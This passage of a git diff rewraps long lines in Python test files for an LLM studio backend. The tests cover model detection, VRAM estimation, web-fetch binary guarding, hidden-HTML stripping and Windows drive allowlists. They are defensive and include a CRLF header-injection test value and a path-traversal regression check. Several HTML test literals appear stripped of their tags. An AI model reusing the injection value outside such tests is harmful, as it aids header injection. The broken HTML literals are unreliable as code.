be excluded from VLM detection and cached as False.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist @@ -540,10 +558,15 @@ class TestSubprocessScript: is True ) assert ( - inline_is_vlm(_C(model_type = "gemma4_text", architectures = ["Gemma4ForCausalLM"])) + inline_is_vlm( + _C(model_type = "gemma4_text", architectures = ["Gemma4ForCausalLM"]) + ) + is False + ) + assert ( + inline_is_vlm(_C(model_type = "llama", architectures = ["LlamaForCausalLM"])) is False ) - assert inline_is_vlm(_C(model_type = "llama", architectures = ["LlamaForCausalLM"])) is False # --------------------------------------------------------------------------- @@ -702,10 +725,14 @@ class TestAudioDetectionCacheTokenAware: # Offline probe caches None under a local-only key. assert mc.detect_audio_type("some/audio-model", local_files_only = True) is None # A later online probe must re-run (different key) and detect the audio model. - assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + assert ( + mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + ) assert seen == [True, False] # The online positive is then cached for subsequent online callers. - assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + assert ( + mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + ) assert seen == [True, False] mc._audio_detection_cache.clear() @@ -750,7 +777,18 @@ class TestEnvOfflineParsing: def test_truthy_values_recognized(self, monkeypatch): import utils.models.model_config as mc for var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"): - for val in ("1", "true", "TRUE", "yes", "Yes", "on", "ON", " 1 ", " on ", "\ttrue\n"): + for val in ( + "1", + "true", + "TRUE", + "yes", + "Yes", + "on", + "ON", + " 1 ", + " on ", + "\ttrue\n", + ): monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) monkeypatch.setenv(var, val) @@ -764,4 +802,6 @@ class TestEnvOfflineParsing: assert mc._env_offline() is False for val in ("", "0", "false", "no", "off", "2", "onn"): monkeypatch.setenv("HF_HUB_OFFLINE", val) - assert mc._env_offline() is False, f"HF_HUB_OFFLINE={val!r} should not be offline" + assert ( + mc._env_offline() is False + ), f"HF_HUB_OFFLINE={val!r} should not be offline" diff --git a/studio/backend/tests/test_vram_estimation.py b/studio/backend/tests/test_vram_estimation.py index 2def8738e2..d0e2b03623 100644 --- a/studio/backend/tests/test_vram_estimation.py +++ b/studio/backend/tests/test_vram_estimation.py @@ -316,8 +316,12 @@ class TestLoraParams(unittest.TestCase): self.assertLess(qv_only, all_mods) def test_moe_mlp_modules_scale_with_experts(self): - dense_lora = compute_lora_params(LLAMA_8B, 16, ["gate_proj", "up_proj", "down_proj"]) - moe_lora = compute_lora_params(MOE_CONFIG, 16, ["gate_proj", "up_proj", "down_proj"]) + dense_lora = compute_lora_params( + LLAMA_8B, 16, ["gate_proj", "up_proj", "down_proj"] + ) + moe_lora = compute_lora_params( + MOE_CONFIG, 16, ["gate_proj", "up_proj", "down_proj"] + ) ratio = moe_lora / dense_lora self.assertAlmostEqual(ratio, 8.0, delta = 0.5) @@ -334,8 +338,12 @@ class TestLoraParams(unittest.TestCase): self.assertGreater(moe_lora, dense_lora * 20) def test_attention_modules_same_for_moe(self): - dense_attn = compute_lora_params(LLAMA_8B, 16, ["q_proj", "k_proj", "v_proj", "o_proj"]) - moe_attn = compute_lora_params(MOE_CONFIG, 16, ["q_proj", "k_proj", "v_proj", "o_proj"]) + dense_attn = compute_lora_params( + LLAMA_8B, 16, ["q_proj", "k_proj", "v_proj", "o_proj"] + ) + moe_attn = compute_lora_params( + MOE_CONFIG, 16, ["q_proj", "k_proj", "v_proj", "o_proj"] + ) self.assertEqual(dense_attn, moe_attn) def test_all_linear_uses_default_text_modules(self): @@ -458,7 +466,9 @@ class TestActivationBytes(unittest.TestCase): def test_non_flash_attention_uses_quadratic_path(self): seq_len = 4096 - expected_quadratic = 1 * STRUCTURED_MIXED.num_attention_heads * seq_len * seq_len * 2 * 12.0 + expected_quadratic = ( + 1 * STRUCTURED_MIXED.num_attention_heads * seq_len * seq_len * 2 * 12.0 + ) for attention_implementation in ("eager", "unknown_impl", None): with self.subTest(attention_implementation = attention_implementation): non_flash = compute_activation_bytes( @@ -473,7 +483,9 @@ class TestActivationBytes(unittest.TestCase): def test_non_flash_attention_without_gc_scales_quadratic_path_by_layers(self): seq_len = 4096 - one_layer = 1 * STRUCTURED_MIXED.num_attention_heads * seq_len * seq_len * 2 * 12.0 + one_layer = ( + 1 * STRUCTURED_MIXED.num_attention_heads * seq_len * seq_len * 2 * 12.0 + ) non_flash = compute_activation_bytes( STRUCTURED_MIXED, 1, @@ -705,7 +717,9 @@ class TestEstimateTrainingVram(unittest.TestCase): ) v8 = estimate_training_vram(LLAMA_8B, opt8) v32 = estimate_training_vram(LLAMA_8B, opt32) - self.assertAlmostEqual(v32.optimizer_states / v8.optimizer_states, 1.5, delta = 0.1) + self.assertAlmostEqual( + v32.optimizer_states / v8.optimizer_states, 1.5, delta = 0.1 + ) def test_min_gpu_vram_treats_activations_as_per_gpu_fixed(self): config = TrainingVramConfig(training_method = "qlora", load_in_4bit = True) @@ -755,7 +769,9 @@ class TestEstimateTrainingVram(unittest.TestCase): optimizer = "adamw_8bit", load_in_4bit = False, ) - expected_floor = int(compute_model_weights_bytes(LLAMA_8B, "full", False) * 0.15) + expected_floor = int( + compute_model_weights_bytes(LLAMA_8B, "full", False) * 0.15 + ) with patch( "utils.hardware.vram_estimation.compute_gradient_bytes", return_value = 1, @@ -1275,7 +1291,9 @@ class TestSharedExperts(unittest.TestCase): delta_per_layer = 4096 * 1407 * 3 * 2 expected_delta = delta_per_layer * 32 * 2 actual_delta = w_yes - w_no - self.assertAlmostEqual(actual_delta, expected_delta, delta = expected_delta * 0.01) + self.assertAlmostEqual( + actual_delta, expected_delta, delta = expected_delta * 0.01 + ) def test_deepseek_v3_params_in_range(self): total = compute_total_params(DEEPSEEK_V3) @@ -1391,7 +1409,9 @@ class TestDenseMoEMix(unittest.TestCase): moe_intermediate_size = 1024, num_dense_layers = 5, ) - lora_all = compute_lora_params(all_moe, 16, ["gate_proj", "up_proj", "down_proj"]) + lora_all = compute_lora_params( + all_moe, 16, ["gate_proj", "up_proj", "down_proj"] + ) lora_mix = compute_lora_params(mixed, 16, ["gate_proj", "up_proj", "down_proj"]) self.assertNotEqual(lora_all, lora_mix) @@ -1475,7 +1495,9 @@ class TestPerLayerInputSkipAlias(unittest.TestCase): delta = _compute_skipped_quantizable_elements(arch) self.assertEqual( delta, - arch.hidden_size * arch.num_hidden_layers * arch.hidden_size_per_layer_input, + arch.hidden_size + * arch.num_hidden_layers + * arch.hidden_size_per_layer_input, ) def test_layer_aggregate_skip_includes_per_layer_input_modules(self): @@ -1554,7 +1576,9 @@ class TestSharedExpertVariants(unittest.TestCase): def test_shared_expert_size_separate_from_routed_changes_weight_count(self): from utils.hardware.vram_estimation import _compute_moe_mlp_elements - arch_separate = extract_arch_config(self._hf(shared_expert_intermediate_size = 64)) + arch_separate = extract_arch_config( + self._hf(shared_expert_intermediate_size = 64) + ) arch_implicit = extract_arch_config(self._hf(n_shared_experts = 1)) # Different shared sizes (64 vs default moe_intermediate_size=128) must # give different MoE element counts. @@ -1598,7 +1622,9 @@ class TestSharedExpertActivation(unittest.TestCase): moe_intermediate_size = 64, **fields, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_shared_expert_increases_activation_bytes(self): with_shared = self._make(shared_expert_intermediate_size = 64) @@ -1650,7 +1676,9 @@ class TestPerLayerInputActivation(unittest.TestCase): tie_word_embeddings = False, **fields, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_ple_increases_activation_bytes(self): with_ple = self._make( @@ -1714,7 +1742,9 @@ class TestKvSharedActivation(unittest.TestCase): num_kv_shared_layers = kv_shared, layer_types = ["full_attention"] * 4, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_kv_shared_layers_keep_activation_bytes(self): shared = self._make(kv_shared = 2) @@ -1760,7 +1790,9 @@ class TestSparseMoeSkipAliases(unittest.TestCase): def test_gemma4_layers_experts_alias_pulls_routed(self): from utils.hardware.vram_estimation import _compute_skipped_quantizable_elements - arch = extract_arch_config(self._hf(["model.layers.0.experts"], enable_moe_block = True)) + arch = extract_arch_config( + self._hf(["model.layers.0.experts"], enable_moe_block = True) + ) self.assertGreater(_compute_skipped_quantizable_elements(arch), 0) def test_qwen_shared_expert_skip_pulls_only_shared(self): @@ -1811,7 +1843,9 @@ class TestAllLinearMoELoraExclusion(unittest.TestCase): moe_intermediate_size = 64, **fields, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_all_linear_drops_routed_moe_expert_lora(self): arch = self._arch() @@ -1829,7 +1863,9 @@ class TestAllLinearMoELoraExclusion(unittest.TestCase): def test_all_linear_includes_attention_lora(self): arch = self._arch() all_linear = compute_lora_params(arch, 8, "all-linear") - attn_only = compute_lora_params(arch, 8, ["q_proj", "k_proj", "v_proj", "o_proj"]) + attn_only = compute_lora_params( + arch, 8, ["q_proj", "k_proj", "v_proj", "o_proj"] + ) # all-linear still attaches to attention nn.Linear modules. self.assertGreaterEqual(all_linear, attn_only) @@ -1847,7 +1883,9 @@ class TestExplicitPerLayerInputLora(unittest.TestCase): hidden_size_per_layer_input = 32, vocab_size_per_layer_input = 128, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_explicit_per_layer_input_gate_returns_nonzero(self): arch = self._arch() @@ -1886,7 +1924,9 @@ class TestTopKExpertActivation(unittest.TestCase): moe_intermediate_size = 64, **fields, ) - return extract_arch_config(SimpleNamespace(text_config = text_config, quantization_config = {})) + return extract_arch_config( + SimpleNamespace(text_config = text_config, quantization_config = {}) + ) def test_num_experts_per_tok_extracted(self): arch = self._make(num_experts_per_tok = 4) diff --git a/studio/backend/tests/test_web_fetch_binary_guard.py b/studio/backend/tests/test_web_fetch_binary_guard.py index 10db953913..05d6c630e4 100644 --- a/studio/backend/tests/test_web_fetch_binary_guard.py +++ b/studio/backend/tests/test_web_fetch_binary_guard.py @@ -29,7 +29,11 @@ class _FakeResp: def read(self, n: int | None = None) -> bytes: # Advance a cursor like a real stream so the chunked reader reaches EOF. - chunk = self._body[self._pos :] if n is None else self._body[self._pos : self._pos + n] + chunk = ( + self._body[self._pos :] + if n is None + else self._body[self._pos : self._pos + n] + ) self._pos += len(chunk) return chunk @@ -49,7 +53,9 @@ class _FakeOpener: def _fetch_with(monkeypatch, body: bytes, content_type: str | None) -> str: # Pass SSRF validation and skip real DNS/network. monkeypatch.setattr( - tools, "_validate_and_resolve_host", lambda host, port: (True, "", "93.184.216.34") + tools, + "_validate_and_resolve_host", + lambda host, port: (True, "", "93.184.216.34"), ) monkeypatch.setattr( tools.urllib.request, @@ -93,7 +99,10 @@ def _pdf_bytes(*page_texts: str) -> bytes: ("application/octet-stream", True), ("application/zip", False), ("application/vnd.ms-excel", True), - ("application/vnd.openxmlformats-officedocument.wordprocessingml.document", True), + ( + "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + True, + ), ("", True), (None, True), ], @@ -144,7 +153,9 @@ def test_encrypted_pdf_returns_safe_placeholder(monkeypatch): def test_pdf_download_limit_enforced(monkeypatch): monkeypatch.setattr(tools, "_MAX_PDF_FETCH_BYTES", 256) - out = _fetch_with(monkeypatch, _pdf_bytes("Readable but oversized"), "application/pdf") + out = _fetch_with( + monkeypatch, _pdf_bytes("Readable but oversized"), "application/pdf" + ) assert out == "(PDF content exceeds the download limit; not readable as text)" @@ -163,7 +174,9 @@ def test_pdf_extraction_caps_pages_and_intermediate_text(monkeypatch): def fake_parse(data, *, max_pages = None): seen["max_pages"] = max_pages - pages = [Page(text = "x" * 1000, page_number = i, char_count = 1000) for i in range(1, 51)] + pages = [ + Page(text = "x" * 1000, page_number = i, char_count = 1000) for i in range(1, 51) + ] return pages, 60 # document actually has more pages than the cap monkeypatch.setattr("core.rag.parsers.parse_pdf_bytes", fake_parse) @@ -234,9 +247,13 @@ def test_binary_candidates_rejected_after_sniffing(monkeypatch, content_type): assert "binary content" in out -@pytest.mark.parametrize("content_type", ["application/sql", "application/x-www-form-urlencoded"]) +@pytest.mark.parametrize( + "content_type", ["application/sql", "application/x-www-form-urlencoded"] +) def test_unknown_application_text_kept_after_sniffing(monkeypatch, content_type): - out = _fetch_with(monkeypatch, b"select readable_text from artifacts;\n" * 100, content_type) + out = _fetch_with( + monkeypatch, b"select readable_text from artifacts;\n" * 100, content_type + ) assert "readable_text" in out assert "non-text content" not in out and "binary content" not in out @@ -258,7 +275,9 @@ def test_excel_labeled_csv_kept_after_sniffing(monkeypatch): ], ) @pytest.mark.parametrize("content_type", ["text/plain", "application/vnd.ms-excel"]) -def test_bom_unicode_text_without_charset_kept(monkeypatch, bom, encoding, content_type): +def test_bom_unicode_text_without_charset_kept( + monkeypatch, bom, encoding, content_type +): body = bom + ("name,value\nreadable,42\n" * 100).encode(encoding) out = _fetch_with(monkeypatch, body, content_type) assert "readable" in out @@ -284,7 +303,9 @@ def test_valid_utf8_binary_caught_by_control_chars(monkeypatch): ], ) def test_text_labeled_binary_caught_by_magic(monkeypatch, magic): - out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, "text/plain") + out = _fetch_with( + monkeypatch, magic + b" printable text-heavy body" * 100, "text/plain" + ) assert "binary content" in out @@ -317,14 +338,18 @@ def test_binary_magic_after_harmless_prefix(monkeypatch, prefix): ], ) def test_office_labeled_binary_caught_by_magic(monkeypatch, content_type, magic): - out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, content_type) + out = _fetch_with( + monkeypatch, magic + b" printable text-heavy body" * 100, content_type + ) assert "binary content" in out def test_latin1_text_without_charset_kept(monkeypatch): # The cp1252 retry should rescue accent-heavy text with ASCII structure. body = ( - "Muller lauft uber die Strasse: schoene, groesse. MARKERWORD ".replace("ue", "ü") + "Muller lauft uber die Strasse: schoene, groesse. MARKERWORD ".replace( + "ue", "ü" + ) + "äöüß éèà " ) * 30 out = _fetch_with(monkeypatch, body.encode("cp1252"), "text/plain") @@ -363,7 +388,9 @@ def test_html_page_unaffected(monkeypatch): def test_content_type_sanitized_in_message(monkeypatch): # Do not echo obs-folded header content into the model response. - out = _fetch_with(monkeypatch, b"PK\x03\x04" * 500, "application/zip\r\n data: injected") + out = _fetch_with( + monkeypatch, b"PK\x03\x04" * 500, "application/zip\r\n data: injected" + ) assert "\n" not in out and "\r" not in out assert "injected" not in out assert "application/zip" in out diff --git a/studio/backend/tests/test_web_fetch_extraction.py b/studio/backend/tests/test_web_fetch_extraction.py index b794ee3e81..b7c81c1c6a 100644 --- a/studio/backend/tests/test_web_fetch_extraction.py +++ b/studio/backend/tests/test_web_fetch_extraction.py @@ -162,7 +162,8 @@ def test_inline_style_display_none_important_is_dropped(): def test_inline_style_display_none_among_other_declarations(): html = ( - "

keep

" '
gone
' + "

keep

" + '
gone
' ) out = html_to_markdown(html) assert "keep" in out @@ -581,14 +582,14 @@ def test_looks_like_html_markdown_with_leading_fenced_example_stays_markdown(): # A Markdown README OPENING with a fenced HTML example must not be sniffed as # HTML just because a doctype/tag appears in the first 256 chars; html_to_markdown # would corrupt the fences and prose. - fenced = ( - "```html\n\n
hi
\n```\n\n# Real README\n" - ) + fenced = "```html\n\n
hi
\n```\n\n# Real README\n" assert not _looks_like_html(fenced) # Prose that mentions a tag inline, and a centered-logo README that opens # with

/

/

, also stay Markdown. assert not _looks_like_html("Use the element to start a page.") - assert not _looks_like_html('

\n\n# Project\n') + assert not _looks_like_html( + '

\n\n# Project\n' + ) assert not _looks_like_html('
\n\n# Project\n\n
\n') assert not _looks_like_html('

Project

\n\nMarkdown body.\n') # An autolink is not a tag opener. @@ -797,7 +798,9 @@ def test_hidden_paragraph_with_inline_child_implicitly_closed_by_block(): # A browser closes an open

when a

arrives, even with an unclosed # on top of it. The hidden region must end there, not swallow the # following visible blocks. - html = "
visible div

visible paragraph" + html = ( + "

visible div

visible paragraph" + ) out = html_to_markdown(html) assert "secret" not in out assert "visible div" in out @@ -868,7 +871,8 @@ def test_nested_hidden_table_does_not_leak_inner_cells(): def test_many_tiny_articles_do_not_displace_substantial_main(): cards = "".join( - f"

Teaser {i}

Advertisement card blurb.

" for i in range(12) + f"

Teaser {i}

Advertisement card blurb.

" + for i in range(12) ) main_body = "Authoritative main documentation content. " * 30 html = f"{cards}

Real page

{main_body}

" @@ -899,7 +903,9 @@ def test_truncated_open_article_scope_is_scored_and_preferred(): # _fetch_url_raw caps large pages, so the download can end before the closing # . The scope is still the main content and must be preferred over the # whole document (which re-leaks the page chrome). - chrome = "
Repository file tree and page chrome.
" + chrome = ( + "
Repository file tree and page chrome.
" + ) article_body = "Real README documentation body text. " * 20 # No closing / -- the fetch cap truncated the page. html = f"{chrome}

Guide

{article_body}

" @@ -909,7 +915,9 @@ def test_truncated_open_article_scope_is_scored_and_preferred(): def test_truncated_open_main_scope_is_scored_and_preferred(): - chrome = "
Repository file tree and page chrome.
" + chrome = ( + "
Repository file tree and page chrome.
" + ) main_body = "Authoritative main documentation content. " * 30 html = f"{chrome}

Doc

{main_body}

" out = html_to_markdown(html, main_content = True) @@ -956,7 +964,9 @@ def test_fetch_url_raw_overall_deadline_aborts_across_redirects(monkeypatch): "_validate_and_resolve_host", lambda host, port: (True, "", "203.0.113.7"), ) - monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _RedirectingOpener()) + monkeypatch.setattr( + urllib.request, "build_opener", lambda *handlers: _RedirectingOpener() + ) err, body, content_type = tools_mod._fetch_url_raw( "https://example.com/start", @@ -1148,7 +1158,9 @@ def test_web_search_query_cancelled_skips_search(monkeypatch): assert called["n"] == 0 -def test_fetch_page_text_markdown_readme_with_leading_block_tag_stays_markdown(monkeypatch): +def test_fetch_page_text_markdown_readme_with_leading_block_tag_stays_markdown( + monkeypatch, +): # A raw-Markdown README that OPENS with an HTML block tag (
,
    , # 
    , ...) must not be run through html_to_markdown, which would collapse its
     # headings/list/fence. Only a real HTML document (doctype / ) is converted.
diff --git a/studio/backend/tests/test_windows_external_drive_paths.py b/studio/backend/tests/test_windows_external_drive_paths.py
index 9686d45c9f..91e3b6ff3b 100644
--- a/studio/backend/tests/test_windows_external_drive_paths.py
+++ b/studio/backend/tests/test_windows_external_drive_paths.py
@@ -25,8 +25,14 @@ class _HTTPException(Exception):
 
 def _extract_routes_function(name: str, ns_extra: Optional[dict] = None) -> dict:
     """Exec one top-level function from routes/models.py without importing the module (which pulls in FastAPI)."""
-    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
-    fn = next(node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name == name)
+    tree = ast.parse(
+        (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")
+    )
+    fn = next(
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == name
+    )
     module = ast.Module(body = [fn], type_ignores = [])
     ast.fix_missing_locations(module)
     ns = {"os": os, "Path": Path, "Optional": Optional}
@@ -89,7 +95,9 @@ def test_readable_dir_within_times_out(monkeypatch):
     # (disconnected mapped network) drive is skipped instead of blocking.
     import time
 
-    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: time.sleep(5) or True)
+    monkeypatch.setattr(
+        external_media.os.path, "isdir", lambda p: time.sleep(5) or True
+    )
     monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
     start = time.monotonic()
     ok = external_media._readable_dir_within("Z:\\", timeout = 0.2)
@@ -171,7 +179,9 @@ def test_windows_drive_roots_probes_hung_drives_in_parallel(monkeypatch):
 def test_browse_allowlist_includes_windows_drive_roots(monkeypatch, tmp_path):
     # End-to-end wiring: windows_drive_roots() output flows into the browse
     # allowlist built by routes/models.py, mirroring the Linux media-mounts test.
-    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    tree = ast.parse(
+        (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")
+    )
     function_names = {
         "_build_browse_allowlist",
         "_browse_relative_parts",
@@ -231,14 +241,18 @@ def test_browse_allowlist_includes_windows_drive_roots(monkeypatch, tmp_path):
 
     # The simulated Windows drive root is now browsable, and a model dir on it resolves.
     assert drive_root.resolve() in allowlist
-    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+    assert (
+        ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+    )
 
 
 def test_build_browse_allowlist_reuses_passed_roots(monkeypatch, tmp_path):
     # Double-probe fix: a browse request probes the drive/media roots once and
     # passes them in, so _build_browse_allowlist must NOT scan
     # windows_drive_roots() again (a disconnected drive would double the stall).
-    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    tree = ast.parse(
+        (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")
+    )
     functions = [
         node
         for node in tree.body
@@ -315,7 +329,9 @@ def test_is_path_inside_allowlist_real_descendants_and_siblings(tmp_path):
     assert is_inside(sibling, [root]) is False  # prefix-collision sibling
 
 
-def test_is_path_inside_allowlist_posix_root_does_not_authorize_descendants(monkeypatch):
+def test_is_path_inside_allowlist_posix_root_does_not_authorize_descendants(
+    monkeypatch,
+):
     # Regression for the reported POSIX "/" unlock: a bare filesystem root may
     # match itself but must NOT authorize arbitrary descendants such as /etc.
     ns = _extract_routes_function("_is_path_inside_allowlist")
diff --git a/studio/backend/tests/test_windows_gpu_detection_mock.py b/studio/backend/tests/test_windows_gpu_detection_mock.py
index a4ec3f3fb5..8d8a4e9cad 100644
--- a/studio/backend/tests/test_windows_gpu_detection_mock.py
+++ b/studio/backend/tests/test_windows_gpu_detection_mock.py
@@ -167,7 +167,9 @@ def _build_path_dirs_like_start_llama_server(
     cuda_path: str = "",
 ) -> list[str]:
     """Wrapper around the real _build_windows_path_dirs staticmethod."""
-    return LlamaCppBackend._build_windows_path_dirs(str(binary_dir), str(prefix), cuda_path)
+    return LlamaCppBackend._build_windows_path_dirs(
+        str(binary_dir), str(prefix), cuda_path
+    )
 
 
 def _mock_nvidia_smi_run(fake_output: str, returncode: int = 0) -> "mock._patch":
@@ -201,7 +203,9 @@ class TestWindowsGpuDetectionAfter5106Fix:
         fake_csv = "0, 22805\n"
         with _mock_nvidia_smi_run(fake_csv):
             gpus = LlamaCppBackend._get_gpu_free_memory()
-        assert gpus == [(0, 22805)], f"GPU probe failed to parse mocked nvidia-smi output: {gpus}"
+        assert gpus == [
+            (0, 22805)
+        ], f"GPU probe failed to parse mocked nvidia-smi output: {gpus}"
 
     def test_nvidia_smi_probe_respects_cuda_visible_devices(self, monkeypatch):
         """CUDA_VISIBLE_DEVICES=1 -> only GPU 1 visible."""
@@ -252,7 +256,9 @@ class TestWindowsGpuDetectionAfter5106Fix:
             site / "nvidia" / "cu13" / "bin" / "x86_64",
             site / "torch" / "lib",
         ):
-            assert str(expected) in out, f"resolver missed {expected.relative_to(prefix)}: {out}"
+            assert (
+                str(expected) in out
+            ), f"resolver missed {expected.relative_to(prefix)}: {out}"
 
     def test_path_assembly_makes_cudart_reachable_without_toolkit(self, tmp_path):
         """The #5106 scenario: GPU detected, pip nvidia wheels present,
@@ -263,7 +269,9 @@ class TestWindowsGpuDetectionAfter5106Fix:
         _populate_studio_venv(prefix)
         _populate_studio_install(install, runtime = "13.1")
         binary_dir = install / "build" / "bin" / "Release"
-        path_dirs = _build_path_dirs_like_start_llama_server(binary_dir, prefix, cuda_path = "")
+        path_dirs = _build_path_dirs_like_start_llama_server(
+            binary_dir, prefix, cuda_path = ""
+        )
         # binary_dir first -- Windows DLL search step 1.
         assert path_dirs[0] == str(
             binary_dir
@@ -279,7 +287,9 @@ class TestWindowsGpuDetectionAfter5106Fix:
         )
         # Defence in depth: both fix paths contribute cudart.
         sources = {Path(e).relative_to(tmp_path).parts[0] for e, _ in cudart_locations}
-        assert "studio_install" in sources, f"#5322's cudart drop not reachable: {cudart_locations}"
+        assert (
+            "studio_install" in sources
+        ), f"#5322's cudart drop not reachable: {cudart_locations}"
         assert (
             "studio_venv" in sources
         ), f"#5324's pip nvidia dir not contributing cudart: {cudart_locations}"
@@ -296,7 +306,8 @@ class TestWindowsGpuDetectionAfter5106Fix:
         for required in REAL_UPSTREAM_CUDART_BUNDLE["13.1"]:
             reachable = any((Path(d) / required).exists() for d in path_dirs)
             assert reachable, (
-                f"{required} unreachable from PATH; #5106 not fixed.\n" f"PATH entries: {path_dirs}"
+                f"{required} unreachable from PATH; #5106 not fixed.\n"
+                f"PATH entries: {path_dirs}"
             )
 
     def test_no_pip_nvidia_wheels_still_works_via_install_dir(self, tmp_path):
@@ -308,7 +319,9 @@ class TestWindowsGpuDetectionAfter5106Fix:
         _populate_studio_install(install, runtime = "13.1")
         binary_dir = install / "build" / "bin" / "Release"
         path_dirs = _build_path_dirs_like_start_llama_server(binary_dir, prefix)
-        assert path_dirs == [str(binary_dir)], f"bare venv produced unexpected PATH: {path_dirs}"
+        assert path_dirs == [
+            str(binary_dir)
+        ], f"bare venv produced unexpected PATH: {path_dirs}"
         for required in REAL_UPSTREAM_CUDART_BUNDLE["13.1"]:
             assert (
                 binary_dir / required
@@ -332,7 +345,8 @@ class TestWindowsGpuDetectionAfter5106Fix:
             (rel / fn).write_bytes(b"PE-stub")
         path_dirs = _build_path_dirs_like_start_llama_server(rel, prefix)
         cudart_reachable = any(
-            (Path(d) / "cudart64_12.dll").exists() or (Path(d) / "cudart64_13.dll").exists()
+            (Path(d) / "cudart64_12.dll").exists()
+            or (Path(d) / "cudart64_13.dll").exists()
             for d in path_dirs
         )
         assert cudart_reachable, (
@@ -340,7 +354,8 @@ class TestWindowsGpuDetectionAfter5106Fix:
             f"on cudart-less install. PATH entries: {path_dirs}"
         )
         cublas_reachable = any(
-            (Path(d) / "cublas64_12.dll").exists() or (Path(d) / "cublas64_13.dll").exists()
+            (Path(d) / "cublas64_12.dll").exists()
+            or (Path(d) / "cublas64_13.dll").exists()
             for d in path_dirs
         )
         assert cublas_reachable, "cublas unreachable on cudart-less install"
@@ -359,7 +374,8 @@ class TestWindowsGpuDetectionAfter5106Fix:
         # Pre-PR PATH: binary_dir only, no pip nvidia dirs, no toolkit.
         pre_pr_path_dirs = [str(rel)]
         cudart_reachable_pre = any(
-            (Path(d) / "cudart64_12.dll").exists() or (Path(d) / "cudart64_13.dll").exists()
+            (Path(d) / "cudart64_12.dll").exists()
+            or (Path(d) / "cudart64_13.dll").exists()
             for d in pre_pr_path_dirs
         )
         assert not cudart_reachable_pre, (
@@ -380,5 +396,7 @@ class TestWindowsSysPlatformMocked:
         out = LlamaCppBackend._windows_pip_nvidia_dll_dirs(str(prefix))
         assert out, f"resolver returned empty under sys.platform=win32: {out}"
         # cu13 arch dir must be in the output.
-        cu13_arch = prefix / "Lib" / "site-packages" / "nvidia" / "cu13" / "bin" / "x86_64"
+        cu13_arch = (
+            prefix / "Lib" / "site-packages" / "nvidia" / "cu13" / "bin" / "x86_64"
+        )
         assert str(cu13_arch) in out
diff --git a/studio/backend/tests/test_worker_activates_correct_transformers.py b/studio/backend/tests/test_worker_activates_correct_transformers.py
index fe7b8dd25a..ac02a27fbd 100644
--- a/studio/backend/tests/test_worker_activates_correct_transformers.py
+++ b/studio/backend/tests/test_worker_activates_correct_transformers.py
@@ -137,7 +137,9 @@ def test_worker_activates_correct_transformers_version(tmp_path):
         f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
     )
     parsed = _parse(result.stdout)
-    assert parsed, f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    assert (
+        parsed
+    ), f"No RESULT line.\nSTDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
 
     # Correct tier chosen for a transformers-5.x model (pure, deterministic; no network/GPU).
     assert parsed["tier"] == "530", (
diff --git a/studio/backend/tests/test_yaml_trust_remote_code_removed.py b/studio/backend/tests/test_yaml_trust_remote_code_removed.py
index 9578f08420..45ab089147 100644
--- a/studio/backend/tests/test_yaml_trust_remote_code_removed.py
+++ b/studio/backend/tests/test_yaml_trust_remote_code_removed.py
@@ -86,9 +86,13 @@ def test_all_model_yamls_load_for_training_and_inference():
             # the dict sections the loaders read via .get('sect', {}).get(...)
             for sect in ("training", "inference", "lora", "logging"):
                 assert isinstance(md.get(sect, {}), dict), f"{sect!r} is not a mapping"
-            md.get("training", {}).get("trust_remote_code", False)  # routes/training.py:263
+            md.get("training", {}).get(
+                "trust_remote_code", False
+            )  # routes/training.py:263
             cfg = load_inference_config(stem)
-            assert infer_keys <= set(cfg), f"inference config missing {infer_keys - set(cfg)}"
+            assert infer_keys <= set(
+                cfg
+            ), f"inference config missing {infer_keys - set(cfg)}"
         except Exception as e:  # noqa: BLE001 - aggregate so one failure does not hide others
             failures.append(f"{f.relative_to(_CONFIGS)}: {type(e).__name__}: {e}")
     assert not failures, "YAML config loaders crashed on: " + "; ".join(failures)
@@ -98,7 +102,9 @@ def test_base_templates_have_no_trust_remote_code():
     for name in ("full_finetune.yaml", "lora_text.yaml", "vision_lora.yaml"):
         doc = yaml.safe_load((_CONFIGS / name).read_text()) or {}
         flat = yaml.safe_dump(doc)
